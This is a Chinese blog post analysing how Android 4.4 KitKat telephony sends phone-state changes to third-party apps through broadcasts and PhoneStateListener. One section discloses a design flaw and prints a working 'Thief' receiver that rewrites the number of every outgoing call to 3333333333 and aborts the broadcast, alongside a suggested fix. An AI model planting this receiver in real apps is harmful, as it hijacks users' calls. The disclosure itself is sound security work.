sendBroadcastAsUser——Calling a method in the system process without a qualified user

简介:
4.2中Android加入了多用户 

改换这几种调用方式 

public void startActivityAsUser(Intent intent, UserHandle user); 
public void sendBroadcastAsUser(Intent intent, UserHandle user); 
public ComponentName startServiceAsUser(Intent service, UserHandle user); 
public boolean stopServiceAsUser(Intent service, UserHandle user); 

UserHandle.ALL 
UserHandle.CURRENT 
UserHandle.CURRENT_OR_SELF 

UserHandle.OWNER

延伸阅读

先看下面代码

private void broadcastCallStateChanged(int state, String incomingNumber) {
    //... ...省略
    //TelephonyManager.ACTION_PHONE_STATE_CHANGED 即"android.intent.action.PHONE_STATE"
    Intent intent = new Intent(TelephonyManager.ACTION_PHONE_STATE_CHANGED);

    //PhoneConstants.STATE_KEY 即字符串"state"
    intent.putExtra(PhoneConstants.STATE_KEY, DefaultPhoneNotifier.convertCallState(state).toString());

    //如果incomingNumber不为空则添加到intent的Extra中,对应的key为"incoming_number"
    if (!TextUtils.isEmpty(incomingNumber)) {
        intent.putExtra(TelephonyManager.EXTRA_INCOMING_NUMBER, incomingNumber);
    }
    
    //MTK Dual SIM support,对应key为"simId"
    if (FeatureOption.MTK_GEMINI_SUPPORT) {
        intent.putExtra(PhoneConstants.GEMINI_SIM_ID_KEY, mySimId);
    }

    //发送广播,接收者为所有人,接收者需要有READ_PHONE_STATE权限
    mContext.sendBroadcastAsUser(intent, UserHandle.ALL,
            android.Manifest.permission.READ_PHONE_STATE);
}

在Android 4.0之前,并非使用sendBroadcastAsUser,而是使用sendBroadcast(intent, android.Manifest.permission.READ_PHONE_STATE)发起广播通知,两者相比,前者多了一个UserHandle.ALL的参数,该参数系Google在Android中添加用于区分用户组的标志。

        在Android 4.2 之后Android引入多用户支持,目前Android平台多用户仅支持平板设备。虽然在Android 4.2 中我们已经可以看到Android多用户支持的影子,但直到Android 4.4 google还是没有正式推出。因为Android 平板和手机共用一套代码,因此这里简单的提一下Android 4.4中多用户所支持的用户组。

        Android 4.4 用户分为:UserHandle.ALL、UserHandle.CURRENT、UserHandle.CURRENT_OR_SELF、UserHandle.OWNER四种类型,每种类型的handle不同。详细描述如下:

[java]  view plain copy
  1. /** A user handle to indicate all users on the device */  
  2. //设备上所有用户均可接收到广播  
  3. // handle = -1  
  4. UserHandle.ALL  
  5.   
  6. /** A user handle to indicate the current user of the device */  
  7. //设备上当前用户可接收到广播  
  8. // handle = -2  
  9. UserHandle.CURRENT  
  10.   
  11. /** A user handle to indicate that we would like to send to the current 
  12.  *  user, but if this is calling from a user process then we will send it 
  13.  *  to the caller's user instead of failing wiht a security exception */  
  14. //handle = -3  
  15. //设备上当前用户或者该应用所属用户可接收到广播  
  16. UserHandle.CURRENT_OR_SELF  
  17.   
  18. /** A user handle to indicate the primary/owner user of the device */  
  19. // handle = 0  
  20. //设备所有者可接收到广播  
  21. UserHandle.OWNER  

这里的广播范围可以排序为:UserHandle.ALL > UserHandle.OWNER > UserHandle.CURRENT_OR_SELF > UserHandle.CURRENT。注意UserHandle.ALL包含了所有用户,而OWNER仅仅是设备持有者(注意guest用户)。

阅读更多:

http://blog.csdn.net/yihongyuelan/article/details/32324335

Android 4.4 Kitkat Phone工作流程浅析(九)__状态通知流程分析

概要

         当手机Modem状态改变后会将状态变化信息通知到上层,通过《Android 4.4 Kitkat Phone工作流程浅析(八)__Phone状态分析》和《Android 4.4 Kitkat Phone工作流程浅析(六)__InCallActivity显示更新流程》的分析,我们知道了Phone状态的类型,以及这些状态的上报流程,而本文主要分析Phone状态改变之后是如何通知到三方应用的。

         Phone状态对于三方应用来讲主要包括:TelephonyManager.CALL_STATE_IDLE、TelephonyManager.CALL_STATE_RINGING、TelephonyManager.CALL_STATE_OFFHOOK三种。对于三方应用,通常使用两种方法来获知Phone状态的改变即:

①监听Phone状态改变广播;

②使用PhoneStateListener监听Phone状态。PhoneStateListener不仅能监听Phone状态改变,同时还能监听数据连接状态、Phone服务状态等状态改变信息;

两种方法所对应的相关代码如下:

[java]  view plain copy
  1. //1.注册广播监听Phone状态改变  
  2. //1.1 动态注册广播  
  3. public class MainActivity extends Activity {  
  4.     private PhoneStateChangedReceiver mPhoneStateChangedReceiver;     
  5.     @Override  
  6.     protected void onCreate(Bundle savedInstanceState) {  
  7.         super.onCreate(savedInstanceState);  
  8.         setContentView(R.layout.activity_main);  
  9.   
  10.         //Dynamic register the broadcast  
  11.         IntentFilter filter = new IntentFilter();  
  12.   
  13.         //"android.intent.action.PHONE_STATE"  
  14.         filter.addAction(TelephonyManager.ACTION_PHONE_STATE_CHANGED);  
  15.   
  16.         //"android.intent.action.NEW_OUTGOING_CALL"  
  17.         filter.addAction(Intent.ACTION_NEW_OUTGOING_CALL);  
  18.   
  19.         mPhoneStateChangedReceiver = new PhoneStateChangedReceiver();  
  20.         registerReceiver(mPhoneStateChangedReceiver, filter);  
  21.     }  
  22.   
  23.     @Override  
  24.     protected void onDestroy() {  
  25.         //unregister the broadcast when activity destroyed  
  26.         unregisterReceiver(mPhoneStateChangedReceiver);  
  27.         super.onDestroy();  
  28.     }  
  29.   
  30.     //内部类广播  
  31.     public static class PhoneStateChangedReceiver extends BroadcastReceiver {  
  32.         @Override  
  33.         public void onReceive(Context context, Intent intent) {  
  34.   
  35.              //Action is "android.intent.action.PHONE_STATE"  
  36.              //or "android.intent.action.NEW_OUTGOING_CALL"  
  37.              String action = intent.getAction();  
  38.              Log.i("Seven","action is "+action);  
  39.   
  40.              if (Intent.ACTION_NEW_OUTGOING_CALL.equals(action)) {  
  41.              //"android.intent.extra.PHONE_NUMBER"  
  42.              String outgoingNum = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);  
  43.              Log.i("Seven""It's outgoing call. Number is:"+outgoingNum);  
  44.              return;  
  45.              }  
  46.   
  47.              //State is RINGING/OFFHOOK/IDLE  
  48.              String state = intent.getStringExtra("state");  
  49.   
  50.              //Only state is Ringing can get the incoming_number  
  51.              String incomingNum = intent.getStringExtra("incoming_number");  
  52.   
  53.              //MTK add for dual SIM support  
  54.              String simId = intent.getStringExtra("simId");  
  55.   
  56.              Log.i("Seven""state is "+state);  
  57.              Log.i("Seven""incomingNum is "+incomingNum);  
  58.              Log.i("Seven""simId is "+simId);  
  59.         }  
  60.     }  
  61. }  
  62.   
  63. //1.2 静态注册广播  
  64. //与动态注册的区别主要是需要在AndroidManifest.xml中添加<receiver>标签  
  65. <receiver   
  66.     android:name="com.seven.androidphonestatelistenerdemo.MainActivity$PhoneStateChangedReceiver" >  
  67.     <intent-filter>  
  68.         <action android:name="android.intent.action.PHONE_STATE" />  
  69.         <action android:name="android.intent.action.NEW_OUTGOING_CALL" />  
  70.     </intent-filter>  
  71. </receiver>  
  72.   
  73. //注意:无论是静态还是动态注册均需要添加相应的权限  
  74. <uses-permission android:name="android.permission.READ_PHONE_STATE" />  
  75. <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />  
  76.   
  77. 2.使用PhoneStateListener监听Phone状态改变  
  78. @Override  
  79. protected void onCreate(Bundle savedInstanceState) {  
  80.     super.onCreate(savedInstanceState);  
  81.     setContentView(R.layout.activity_main);  
  82.     //TELEPHONY_SERVICE equals "phone"  
  83.     TelephonyManager mTelephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);  
  84.     mTelephonyManager.listen(new PhoneStateListener(){  
  85.     @Override  
  86.     public void onCallStateChanged(int state, String incomingNumber) {  
  87.         switch (state) {  
  88.         case TelephonyManager.CALL_STATE_IDLE:  
  89.             Log.i("Seven","Call state is IDLE");  
  90.             break;  
  91.         case TelephonyManager.CALL_STATE_RINGING:  
  92.             Log.i("Seven","Call state is RINGING");  
  93.             break;  
  94.         case TelephonyManager.CALL_STATE_OFFHOOK:  
  95.             Log.i("Seven","Call state is OFFHOOK");  
  96.             break;  
  97.         default:  
  98.             break;  
  99.         }  
  100.         super.onCallStateChanged(state, incomingNumber);  
  101.     }  
  102.      }, PhoneStateListener.LISTEN_CALL_STATE);  
  103. }  

        以上两种方法均可实现监听Phone状态的改变,通过广播的方式可以监听"去电状态"和"Phone状态"改变,而如果通过PhoneStateListener则只能监听Phone状态改变。这里我们先以MT流程为例,从代码的执行流程上分析Phone状态改变后是如何通知到三方应用的,后文也会顺带分析去电广播的发起流程。

        通过前面文章的分析,我们知道Phone状态的改变是Modem发起的,之后通过framework、TeleService并最终通过InCallUI表现到界面上,整个流程如图1:


图 1 MT调用流程

        通过图1可以知道,所有的状态都是从Modem发起并经过Telephony Framework处理之后再向上传递的,也是正是在Telephony Framework中,系统将Phone相关状态告知给了三方应用。

状态通知发起流程

        当Phone状态改变之后,RILJ将相关信息反馈到GsmCallTracker的handleCallProgressInfo()方法中 (AOSP是handlePollCalls) 进行相关的处理。在该方法中会进行Phone状态的转换,在上一篇文章《Android 4.4 Kitkat Phone工作流程浅析(八)__Phone状态分析》中我们有详细分析,这里不再详细解释。

        在handleCallProgressInfo()的updatePhoneState()方法中进行Call.State(Internal)和PhoneConstants.State转换时,有如下代码:

[java]  view plain copy
  1. private void updatePhoneState() {  
  2.     //... ...省略  
  3.     if (mState != oldState) {  
  4.         mPhone.notifyPhoneStateChanged();  
  5.     }  
  6. }  
当PhoneConstants.State发生改变时便会触发mPhone.notifyPhoneStateChanged()。因为我们这里处理的是GSMPhone,自然而然mPhone为GSMPhone的对象,因此继续跳转到GSMPhone.java中,关键代码如下:
[java]  view plain copy
  1. void notifyPhoneStateChanged() {  
  2.     //... ...省略  
  3.     mNotifier.notifyPhoneState(this);  
  4. }  
这里mNotifier实际上是DefaultPhoneNotifier的实例,因此继续跳转到DefaultPhoneNotifier中的notifyPhoneState()方法中:
[java]  view plain copy
  1. public void notifyPhoneState(Phone sender) {  
  2.     Call ringingCall = sender.getRingingCall();  
  3.     String incomingNumber = "";   
  4.     if (ringingCall != null && ringingCall.getEarliestConnection() != null){  
  5.         //如果当前正在响铃,则获取来电号码  
  6.         incomingNumber = ringingCall.getEarliestConnection().getAddress();  
  7.     }     
  8.     try {  
  9.         //通过conertCallState方法将Phoneconstants.State转换为TelephonyManager.CALL_STATE_XX  
  10.         mRegistry.notifyCallState(convertCallState(sender.getState()), incomingNumber);  
  11.     } catch (RemoteException ex) {  
  12.         // system process is dead  
  13.     }     
  14. }  
mRewgistry是TelephonyRegistry的对象,TelephonyRegistry为系统服务在SystemServer中完成注册,mRegistry的实例化是在DefaultPhoneNotifier的构造方法中,如下:
[java]  view plain copy
  1. //这里MTK做了一些修改,原生并没有使用public权限  
  2. public DefaultPhoneNotifier() {  
  3.     mRegistry = ITelephonyRegistry.Stub.asInterface(ServiceManager.getService(  
  4.                 "telephony.registry"));  
  5. }  
也就是说经过了前面的层层调用之后,最终跳转到了TelephonyRegistry服务中的notifyCallState()方法,如下:
[java]  view plain copy
  1. public void notifyCallState(int state, String incomingNumber) {  
  2.     //检查是否具有相关修改Phone状态的权限  
  3.     if (!checkNotifyPermission("notifyCallState()")) {  
  4.         return;  
  5.     }  
  6.     synchronized (mRecords) {  
  7.         mCallState = state;  
  8.         mCallIncomingNumber = incomingNumber;  
  9.         for (Record r : mRecords) {  
  10.             if ((r.events & PhoneStateListener.LISTEN_CALL_STATE) != 0) {  
  11.                 try {  
  12.                     //回调onCallStateChanged方法  
  13.                     r.callback.onCallStateChanged(state, incomingNumber);  
  14.                 } catch (RemoteException ex) {  
  15.                     mRemoveList.add(r.binder);  
  16.                 }  
  17.             }  
  18.         }  
  19.         handleRemoveListLocked();  
  20.     }  
  21.     //发送Phone状态改变的系统广播  
  22.     broadcastCallStateChanged(state, incomingNumber);  
  23. }  

到这里已经找到了整个Phone状态改变通知发起的地方,分别是这里的onCallStateChanged回调和broadcastCallStateChanged发起广播。整个流程如图2所示:


图 2 三方应用接收Phone状态改变流程

 通过前面的分析,可以很清楚的了解Phone状态的通知流程。接下来将从以下三个方面对细节进行展开分析:

1. broadcast广播类型以及其中携带的数据;

2. 关键对象初始化流程,包括mPhone、mNotifier、mRegistry对象的实例化流程;

3. PhoneStateListener监听机制分析,包括Phone状态注册监听原理,以及onCallStateChanged回调执行流程;

Phone状态变更广播

ACTION_PHONE_STATE_CHANGED

        前文的例子中有提到,Phone状态改变之后会在TelephonyRegistry中调用broadcallCallStateChanged()方法将相关状态广播出去,关键代码如下:

[java]  view plain copy
  1. private void broadcastCallStateChanged(int state, String incomingNumber) {  
  2.     //... ...省略  
  3.     //TelephonyManager.ACTION_PHONE_STATE_CHANGED 即"android.intent.action.PHONE_STATE"  
  4.     Intent intent = new Intent(TelephonyManager.ACTION_PHONE_STATE_CHANGED);  
  5.   
  6.     //PhoneConstants.STATE_KEY 即字符串"state"  
  7.     intent.putExtra(PhoneConstants.STATE_KEY, DefaultPhoneNotifier.convertCallState(state).toString());  
  8.   
  9.     //如果incomingNumber不为空则添加到intent的Extra中,对应的key为"incoming_number"  
  10.     if (!TextUtils.isEmpty(incomingNumber)) {  
  11.         intent.putExtra(TelephonyManager.EXTRA_INCOMING_NUMBER, incomingNumber);  
  12.     }  
  13.       
  14.     //MTK Dual SIM support,对应key为"simId"  
  15.     if (FeatureOption.MTK_GEMINI_SUPPORT) {  
  16.         intent.putExtra(PhoneConstants.GEMINI_SIM_ID_KEY, mySimId);  
  17.     }  
  18.   
  19.     //发送广播,接收者为所有人,接收者需要有READ_PHONE_STATE权限  
  20.     mContext.sendBroadcastAsUser(intent, UserHandle.ALL,  
  21.             android.Manifest.permission.READ_PHONE_STATE);  
  22. }  
        通过代码可以看到,这里Intent的Action是"android.intent.action.PHONE_STATE",其中的Extras有"state",如果是来电则"incoming_number"为来电号码,以及MTK自己加入的双卡支持,"simId"用于标识SIM卡,在这里即表示哪一张SIM卡状态发生了改变,最后通过sendBroadcastAsUser将广播发送出去,广播接收者需要具有"READ_PHONE_STATE"权限才可以接收到对应的广播消息。

        在Android 4.0之前,并非使用sendBroadcastAsUser,而是使用sendBroadcast(intent, android.Manifest.permission.READ_PHONE_STATE)发起广播通知,两者相比,前者多了一个UserHandle.ALL的参数,该参数系Google在Android中添加用于区分用户组的标志。

        在Android 4.2 之后Android引入多用户支持,目前Android平台多用户仅支持平板设备。虽然在Android 4.2 中我们已经可以看到Android多用户支持的影子,但直到Android 4.4 google还是没有正式推出。因为Android 平板和手机共用一套代码,因此这里简单的提一下Android 4.4中多用户所支持的用户组。

        Android 4.4 用户分为:UserHandle.ALL、UserHandle.CURRENT、UserHandle.CURRENT_OR_SELF、UserHandle.OWNER四种类型,每种类型的handle不同。详细描述如下:

[java]  view plain copy
  1. /** A user handle to indicate all users on the device */  
  2. //设备上所有用户均可接收到广播  
  3. // handle = -1  
  4. UserHandle.ALL  
  5.   
  6. /** A user handle to indicate the current user of the device */  
  7. //设备上当前用户可接收到广播  
  8. // handle = -2  
  9. UserHandle.CURRENT  
  10.   
  11. /** A user handle to indicate that we would like to send to the current 
  12.  *  user, but if this is calling from a user process then we will send it 
  13.  *  to the caller's user instead of failing wiht a security exception */  
  14. //handle = -3  
  15. //设备上当前用户或者该应用所属用户可接收到广播  
  16. UserHandle.CURRENT_OR_SELF  
  17.   
  18. /** A user handle to indicate the primary/owner user of the device */  
  19. // handle = 0  
  20. //设备所有者可接收到广播  
  21. UserHandle.OWNER  
这里的广播范围可以排序为:UserHandle.ALL > UserHandle.OWNER > UserHandle.CURRENT_OR_SELF > UserHandle.CURRENT。注意UserHandle.ALL包含了所有用户,而OWNER仅仅是设备持有者(注意guest用户)。

ACTION_NEW_OUTGONG_CALL

        通过前文的例子可以看到,除了注册监听PHONE_STATE_CHANGED广播以外,我们还监听了NEW_OUTGOING_CALL的广播。该广播是在主动呼叫时发起的,当用户使用手机拨打电话时系统会发出该广播,也就是说在MO流程发起时会收到以上两种广播信息。

        在《Android 4.4 Kitkat Phone工作流程浅析(三)__MO(去电)流程分析》中已经详细分析了MO的发起流程和经过,通过该文的分析可以知道MO的发起点在Dialer中,经过PhoneCommon处理之后交给TeleService,并在这里触发了相应的NEW_OUTGOING_CALL广播。整个流程如图3所示,其中因为PhoneCommon部分省略,详细流程请参阅《Android 4.4 Kitkat Phone工作流程浅析(三)__MO(去电)流程分析》。


图 3 OUT_GOING_CALL广播发起流程

NEW_OUTGOING_CALL广播的发起流程关键代码如下:
[java]  view plain copy
  1. public static void sendNewCallBroadcast(Context context, Intent intent, String number,  
  2.                                         boolean callNow, BroadcastReceiver receiver) {  
  3.   
  4.     //ACTION is "android.intent.action.NEW_OUTGOING_CALL"  
  5.     Intent broadcastIntent = new Intent(Intent.ACTION_NEW_OUTGOING_CALL);  
  6.   
  7.     if (number != null) {  
  8.         //"android.intent.extra.PHONE_NUMBER" 呼叫号码  
  9.         broadcastIntent.putExtra(Intent.EXTRA_PHONE_NUMBER, number);  
  10.     }  
  11.   
  12.     //将intent中的部分Extras赋值到broadcastIntent中  
  13.     CallGatewayManager.checkAndCopyPhoneProviderExtras(intent, broadcastIntent);  
  14.   
  15.     //"android.phone.extra.ALREADY_CALLED" callNow is false  
  16.     broadcastIntent.putExtra(EXTRA_ALREADY_CALLED, callNow);  
  17.   
  18.     //"android.phone.extra.ORIGINAL_URI" URI信息  
  19.     broadcastIntent.putExtra(EXTRA_ORIGINAL_URI, intent.getData().toString());  
  20.   
  21.     //该Flag可以是广播优先级更高  
  22.     broadcastIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);  
  23.   
  24.     //这是MTK自己加入一些Extras  
  25.     PhoneUtils.checkAndCopyPrivateExtras(intent, broadcastIntent);  
  26.   
  27.     //使用有序广播将拨号状态发送出去  
  28.     //需要permission android.Manifest.permission.PROCESS_OUTGOING_CALLS  
  29.     //广播对象为UserHandle.OWNER  
  30.     //需要PERMISSION为:android.Manifest.permission.PROCESS_OUTGOING_CALLS  
  31.     //receiver为该有序广播最后负责接收的对象  
  32.     //scheduler表示是否运行在其它线程中,这里为null表示运行在主线程中  
  33.     //number初始化数据  
  34.     context.sendOrderedBroadcastAsUser(broadcastIntent, UserHandle.OWNER,  
  35.             PERMISSION, receiver,  
  36.             null,  // scheduler  
  37.             Activity.RESULT_OK,  // initialCode  
  38.             number,  // initialData: initial value for the result data  
  39.             null);  // initialExtras  
  40. }  

该广播为有序广播,其中指定广播面向的用户组是UserHandle.OWNER,接收广播所需要的权限"android.Manifest.permisson.PROCES_OUTGOING_CALL",参数中的receiver为OutgoingCallReceiver的对象,由它来最后接收并处理该广播,initialData为number。

MTK在该广播的Intent中添加了一些数据,如下:

[java]  view plain copy
  1. public static void checkAndCopyPrivateExtras(final Intent origIntent, Intent newIntent) {  
  2.     int slot = origIntent.getIntExtra(Constants.EXTRA_SLOT_ID, -1);  
  3.     if (-1 != slot) {  
  4.         //卡槽信息,据此可判断卡1卡2  
  5.         newIntent.putExtra(Constants.EXTRA_SLOT_ID, slot);  
  6.     }  
  7.     if (FeatureOption.MTK_VT3G324M_SUPPORT) {  
  8.         boolean isVideoCall = origIntent.getBooleanExtra(Constants.EXTRA_IS_VIDEO_CALL, false);  
  9.         if (isVideoCall) {  
  10.             //如果支持VideoCall则添加相关key  
  11.             newIntent.putExtra(Constants.EXTRA_IS_VIDEO_CALL, isVideoCall);  
  12.         }     
  13.     }     
  14.     long simId = origIntent.getLongExtra(Constants.EXTRA_ORIGINAL_SIM_ID, Settings.System.DEFAULT_SIM_NOT_SET);  
  15.     if (-1 != simId) {  
  16.         //SIM卡Id  
  17.         newIntent.putExtra(Constants.EXTRA_ORIGINAL_SIM_ID, simId);  
  18.     }     
  19.     boolean isIpCall = origIntent.getBooleanExtra(Constants.EXTRA_IS_IP_DIAL, false);  
  20.     if (isIpCall) {  
  21.         //如果是互联网电话则添加相关的key  
  22.         newIntent.putExtra(Constants.EXTRA_IS_IP_DIAL, isIpCall);  
  23.     }     
  24.     boolean isFollowSimManagement = origIntent.getBooleanExtra(Constants.EXTRA_FOLLOW_SIM_MANAGEMENT, false);  
  25.     if (isFollowSimManagement) {  
  26.         //是否遵从SIM卡管理  
  27.         newIntent.putExtra(Constants.EXTRA_FOLLOW_SIM_MANAGEMENT, isFollowSimManagement);  
  28.     }     
  29. }  

        要特别注意该广播的最后两项参数:String initialData和Bundle initialExtras,前者用于存放String类型的初始化数据,后者可存放Bundle类型的初始化数据。在有序广播的使用过程中,我们可以通过getResultData()获取到有序广播中的initialData值,并且可以使用setResultData(String data)重新设置有序广播的initialData值。同样,使用getResultExtras(boolean makeMap)可以获取initialExtras的Bundle值,其中参数makeMap为true表示,如果之前initialExtras为null则创建一个内容为空的Bundle对象;false则表示返回为null;在处理完Bundle值之后可以通过setResultExtras(Bundle extras)将数据设置回广播中继续传递。

        注意:在分析过程中我发现一个google设计上的风险。有序广播发出去之后最后会在 OutGoingCallReceiver.java ( AOSP代码会在OutGoingCallBroadcaster.java )中进行处理,通过“number = getResultData()”将呼叫号码取出。但如果有恶意应用监听了NEW_OUTGOIONG_CALL广播并篡改其中的initialData为恶意号码,最终将会导致用户无法正常拨打电话。

       例如使用以下恶意代码:

[java]  view plain copy
  1. <receiver   
  2.     android:name="com.example.thief.Thief$ThiefReceiver" >  
  3.     //设置接收权限等级为最高  
  4.     <intent-filter android:priority="9999999999999999999999999999999" >  
  5.         <action android:name="android.intent.action.NEW_OUTGOING_CALL" />  
  6.     </intent-filter>  
  7. </receiver>  
  8.   
  9. public class Thief extends Activity {  
  10.     @Override  
  11.     protected void onCreate(Bundle savedInstanceState) {  
  12.         super.onCreate(savedInstanceState);  
  13.         setContentView(R.layout.activity_thief);  
  14.     }  
  15.       
  16.     public static class ThiefReceiver extends BroadcastReceiver {  
  17.         @Override  
  18.         public void onReceive(Context context, Intent intent) {  
  19.         setResultData("3333333333");//设置呼叫号码为恶意号码  
  20.         abortBroadcast();//截断广播  
  21.         }  
  22.           
  23.     }  
  24. }  
以上代码将会导致用户在拨打任何号码时,均指向3333333333该恶意号码,从而影响用户的正常呼叫。对于厂商来说可以使用一些方法进行规避,如通过获取intent中的Intent.EXTRA_PHONE_NUMBER来获取number的值,即“number = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER)”来获取实际的呼叫号码,从而可以避免以上情况的发生。

关键对象初始化流程

        在前文分析中我们使用了mPhone、mNotifier、mRegistry等关键对象,从而能够跳转到对应的处理方法中进行处理,但这些关键对象是在何时何地进行初始化的呢?

        在《Android 4.4 Kitkat Phone工作流程浅析(三)__MO(去电)流程分析》中已经分析了Phone对象的初始化流程,通过跟踪makeDefaultPhone()的流程可以知道最终是以GSMPhone来完成Phone对象初始化的。在GsmCallTracker中需要查看“mPhone.notifyPhoneStateChanged()”方法,mPhone的初始化工作在GsmCallTracker的构造方法中完成,而mNotifier则在GSMPhone的父类PhoneBase中完成初始化。整个流程如图4:


图 4 关键变量实例化

        从图4中可以看到mPhone实际就是GSMPhone的实例,而mNotifier则是DefaultPhoneNotifier的实例,DefaultPhoneNotifier实现了PhoneNotifier接口。对于mRegistry来讲,通过Binder的方式获取到了TelephonyRegistry的实例,而TelephonyRegistry是在SystemServer中完成添加的,关键代码如下:

[java]  view plain copy
  1. TelephonyRegistry telephonyRegistry = null;  
  2. telephonyRegistry = new TelephonyRegistry(context);  
  3. ServiceManager.addService("telephony.registry", telephonyRegistry);  

PhoneStateListener监听机制

        在前文的例子中,使用PhoneStateListener的方式可以实现Phone状态改变的监听,最后在PhoneStateListener的覆写方法中获知Phone状态的改变。通过TelephonyManager的listen方法实现监听器的添加,如下:

[java]  view plain copy
  1. listen(PhoneStateListener listener, int events)  
这里的listener为PhoneStateListener对象,events为需要监听的类型,这些类型在PhoneStateListener中定义( LISTEN_XXXX ),如需同时监听多种状态可使用或"|"将多个状态连接。之后在TelephonyManager的listen方法中继续处理,关键代码如下:
[java]  view plain copy
  1. private static ITelephonyRegistry sRegistry;  
  2. public TelephonyManager(Context context) {  
  3.     //... ...省略  
  4.     if (sRegistry == null) {  
  5.         sRegistry = ITelephonyRegistry.Stub.asInterface(ServiceManager.getService(  
  6.                 "telephony.registry"));  
  7.     }  
  8. //... ...省略 MTK双卡  
  9.   
  10. public void listen(PhoneStateListener listener, int events) {  
  11.     try {  
  12.         Boolean notifyNow = true;  
  13.         sRegistry.listen(pkgForDebug, listener.callback, events, notifyNow);  
  14.         //... ...省略 MTK双卡    
  15. }   
  16. }  
可以看到,最终的调用还是在TelephonyRegistry中,而sRegistry在TelephonyManager的构造方法中完成实例化。TelephonyRegistry中listen关键代码如下:
[java]  view plain copy
  1. public void listen(String pkgForDebug, IPhoneStateListener callback, int events,  
  2.         boolean notifyNow) {  
  3.     //... ...省略  
  4.     if (events != 0) {  
  5.         //检查权限,某些SATE需要对应的去权限  
  6.         checkListenerPermission(events);  
  7.   
  8.         synchronized (mRecords) {  
  9.             // register  
  10.             Record r = null;  
  11.             find_and_add: {  
  12. //callback实际为new IPhoneStateListener.Stub()对象,且stub继承自Binder  
  13. //Binder实现了IBinder接口,asBinder返回stub.this也就是Binder对象  
  14.                 IBinder b = callback.asBinder();  
  15.                 final int N = mRecords.size();  
  16.                 for (int i = 0; i < N; i++) {  
  17.                     r = mRecords.get(i);  
  18. //如果之前添加过该PhoneStateListener则直接跳转到find_and_add标签末尾  
  19.                     if (b == r.binder) {  
  20.                         break find_and_add;  
  21.                     }  
  22.                 }  
  23. //如果之前没有添加过该PhoneStateListenerListener,将新Listener的信息  
  24. //添加到mRecords列表中  
  25.                 r = new Record();  
  26.                 r.binder = b;  
  27.                 r.callback = callback;  
  28.                 r.pkgForDebug = pkgForDebug;  
  29.                 r.callerUid = callerUid;  
  30.                 mRecords.add(r);  
  31.             }  
  32.             //... ...省略  
  33.             r.events = events;  
  34.             if (notifyNow) {  
  35.                 //... ...省略  
  36.                 //注册完成之后,notifyNow为true立刻执行一次  
  37.                 if ((events & PhoneStateListener.LISTEN_CALL_STATE) != 0) {  
  38.                     try {  
  39.                         r.callback.onCallStateChanged(mCallState, mCallIncomingNumber);  
  40.                     } catch (RemoteException ex) {  
  41.                         remove(r.binder);  
  42.                     }  
  43.                 }  
  44.                 //... ...省略  
通过前面的分析已经知道,Phone状态改变之后最终会调用TelephonyRegistry中的notifyCallState()方法,并执行以下关键代码:
[java]  view plain copy
  1. for (Record r : mRecords) {  
  2.     if ((r.events & PhoneStateListener.LISTEN_CALL_STATE) != 0) {  
  3.         try {  
  4. //回调所有注册了LISTEN_CALL_STATE状态PhoneStateListener的onCallStateChanged方法  
  5.             r.callback.onCallStateChanged(state, incomingNumber);  
  6.         } catch (RemoteException ex) {  
  7.             mRemoveList.add(r.binder);  
  8.         }  
  9.     }  
  10. }  

整个onCallStateChanged方法的回调关键流程:

1. 往监听列表mRecords中添加监听对象;

2. 状态改变即从mRecords中遍历监听对象并发起回调;

r.callback中存放的是new IPhoneStateListener.Stub()的实例,onCallStateChanged方法关键调用如下:

[java]  view plain copy
  1. IPhoneStateListener callback = new IPhoneStateListener.Stub() {  
  2.     //... ...省略  
  3.     public void onCallStateChanged(int state, String incomingNumber) {  
  4.         Message.obtain(mHandler, LISTEN_CALL_STATE, state, 0, incomingNumber).sendToTarget();  
  5.     }  
  6.     //... ...省略  
  7. };  
  8.   
  9. Handler mHandler = new Handler() {  
  10.     public void handleMessage(Message msg) {  
  11.         switch (msg.what) {  
  12.             //... ...省略  
  13.             case LISTEN_CALL_STATE:  
  14.                 PhoneStateListener.this.onCallStateChanged(msg.arg1, (String)msg.obj);  
  15.                 break;  
  16.             //... ...省略  
  17.         }  
  18.     }  
  19. };  
       最后调用PhoneStateListener的onCallStateChanged()方法。因为我们在实例化PhoneStateListener对象时,是通过匿名类或继承等方式实现了PhoneStateListener的子类,并在其中覆写了onCallStateChanged()方法,所以这里便会回调到我们自己实现的onCallStateChanged()方法中,并最终获得Phone状态的变化通知。

总结

        全文主要分析了Phone状态改变之后,如何将Phone状态通知到三方应用,具体包含broadcast广播和onCallStateChanged()等方法的回调。同时针对其中的细节之处分成了三个部分进行分析:

        1. broadcast广播类型以及其中携带的数据;

         广播具体包含两种类型:即TelephonyManager.ACITON_PHONE_STATE_CHANGED和Intent.ACITON_NEW_OUTGOING_CALL;后者仅在MO流程发起时通过TeleService发出,同时由于该广播是有序广播,允许三方监听者获取并修改其initData,从而有可能导致无法发起正常呼叫的问题。如何利用该漏洞,文中已给出相关代码,附件也会包含该测试APK,用户安装该APK并运行一次之后,无论使用何种方式拨打电话均会指向无效号码"3333333333"。

        2. 关键对象初始化流程,包括mPhone、mNotifier、mRegistry对象的实例化流程;

         这些关键对象大多数跟随Telephony的启动并完成初始化,弄清楚这些关键对象的实例,对整个流程的分析至关重要。

        3. PhoneStateListener监听机制分析,包括Phone状态注册监听原理,以及onCallStateChanged回调执行流程;

        通过TelephonyManager注册PhoneStateListener,我们可以在其回调函数onCallStateChanged中获知Phone状态的改变信息。Phone状态改变的通知实际的发起者是TelephonyRegistry,其含有两个重要的链表即mRecords和mRemoveList,前者负责保存所有PhoneStateListener的信息,后者记录所有需要删除的PhoneStateListener的binder对象,通俗点讲就是mRecords记录添加的监听者,mRemoveList用于记录删除的监听者。

       TelephonyManager是Android暴露给三方应用与Telephony交互的接口即相当于代理,实际获取Phone状态是通过TelephonyRegistry实现的。Telephony实际上提供了多种服务功能,包括TelephonyRegistry、PhoneInterfaceManager、PhoneSubInfo等,这些服务并不直接对三方应用开放,而是通过TelephonyManager这个大管家来管理。

       文中涉及原始图片以及恶意劫持呼叫测试代码,免积分下载

       Phone状态监听测试Demo,免积分下载


相关文章
|
Serverless
attempt to delete a method
attempt to delete a method
203 1
|
6月前
|
NoSQL 编译器 API
关于thread使用的错误:pure virtual method called terminate called without an active exception
关于thread使用的错误:pure virtual method called terminate called without an active exception
111 1
|
3月前
|
Docker 容器
